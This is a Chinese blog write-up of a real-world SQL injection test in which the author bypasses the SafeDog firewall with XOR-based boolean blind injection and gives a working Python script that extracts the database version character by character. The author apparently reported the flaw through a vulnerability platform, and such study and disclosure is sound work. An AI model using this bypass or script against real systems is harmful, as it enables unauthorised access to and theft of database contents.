实战 | BYPASS安全狗-我也很“异或”

admin 2021年10月1日22:03:15评论166 views字数 1429阅读4分45秒阅读模式

前言

BYPASS安全狗-我也很“异或”

我这个菜鸡当然只会垃圾的sql注入,getshell是不可能的这辈子都是不可能的,不多废话,上菜。

实战 |  BYPASS安全狗-我也很“异或”



实战开始

一如既往的输入框输入单引号,昂?报错

实战 |  BYPASS安全狗-我也很“异或”

实战 |  BYPASS安全狗-我也很“异或”

机会来了,马上闭合注释,运气不错,没过滤这些

实战 |  BYPASS安全狗-我也很“异或”

正当我想继续深入下一阶段的时候,那令人厌恶的safedog出现了

实战 |  BYPASS安全狗-我也很“异或”

实战 |  BYPASS安全狗-我也很“异或”

一顿操作,and or || && 都给我ban的死死的,正当我以为无计可施的时候,atao师傅提醒了我,试试异或注入

实战 |  BYPASS安全狗-我也很“异或”

实战 |  BYPASS安全狗-我也很“异或”

那么就先讲讲异或注入吧,简单的演示简单的用例异或1

实战 |  BYPASS安全狗-我也很“异或”

异或0

实战 |  BYPASS安全狗-我也很“异或”

也就是说异或0就会还是本身

异或-1则不存在

实战 |  BYPASS安全狗-我也很“异或”

因为是bool盲注,那么我们就可以这么操作,这里举个例子

实战 |  BYPASS安全狗-我也很“异或”

实战 |  BYPASS安全狗-我也很“异或”

可以看到异或1不存在,所以可以这么构造0

实战 |  BYPASS安全狗-我也很“异或”

再拓展

实战 |  BYPASS安全狗-我也很“异或”

这里如果需要构造出0,那就只能减s的ascii码值,s的ascii码值为115

实战 |  BYPASS安全狗-我也很“异或”

异或注入分析大概就是这样,然后去测试,就让我也疑惑了,这异或就很疑惑

实战 |  BYPASS安全狗-我也很“异或”

当我测试id为56的时候服务器500错误

实战 |  BYPASS安全狗-我也很“异或”

也就是说id为56的数据不存在,但是当输入 56^0 的时候竟然又存在!!!例如测试数据库的第一个字符

实战 |  BYPASS安全狗-我也很“异或”

例如这里 当减100时,56^-1等于一个不存在的内容,所以就回显500,因为异或-1肯定不存在,也就判断出了数据库名称的第一个字母是c也就是ascii码的99

实战 |  BYPASS安全狗-我也很“异或”

我敢确定第一个数据库第一个字符是c因为最后我得出的数据库名就是站点的名称,所以这样用是不会错的,但是疑惑的是id为56的数据明明就不存在,为何异或0就存在了呢,这不就推翻了之前的测试?难道mssql和mysql的异或不一样?我有了那么多疑惑,但是又是黑盒测试,咱也不知道人家的sql语句怎么写的,但是又注入的没错,没办法了,也可能是我太菜了,还需要多学习学习,如果弟弟有哪里说错的地方,还望大师傅们指导指导,最后也编写了脚本进行注入

# -*- coding:utf-8 -*-import requestsimport time
url = "http://ip?id="
def main(): result = "" for i in range(1, 200): low = 31 high = 128 while low < high: mid = int((low + high) / 2) content = "@@version" sql = f"56'^(ascii(substring(({content}),{i},1))-{mid})--+" response = requests.get(url=url+sql) time.sleep(3) if response.status_code == 500: high = mid else: low = mid + 1 print("[+] After changing we got {} to {}".format(low, high)) if low == high == 128 or low == high == 31: print("[*] Result is: {}".format(result)) break print("[+] Now has {}".format(i)) result += chr(int((high + low - 1) / 2)) print("[*] Result now is: {}".format(result))
if __name__ == '__main__': main()

结果如下

实战 |  BYPASS安全狗-我也很“异或”

所以说过滤还需严谨,危险函数和字符也需要过滤,但是太严谨了我这个菜鸡不就没得玩了吗?害终于整了很长时间,到了提交edusrc的时候


实战 |  BYPASS安全狗-我也很“异或”
实战 |  BYPASS安全狗-我也很“异或”





本文始发于微信公众号(F12sec):实战 | BYPASS安全狗-我也很“异或”

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年10月1日22:03:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   实战 | BYPASS安全狗-我也很“异或”http://cn-sec.com/archives/386390.html

发表评论

匿名网友 填写信息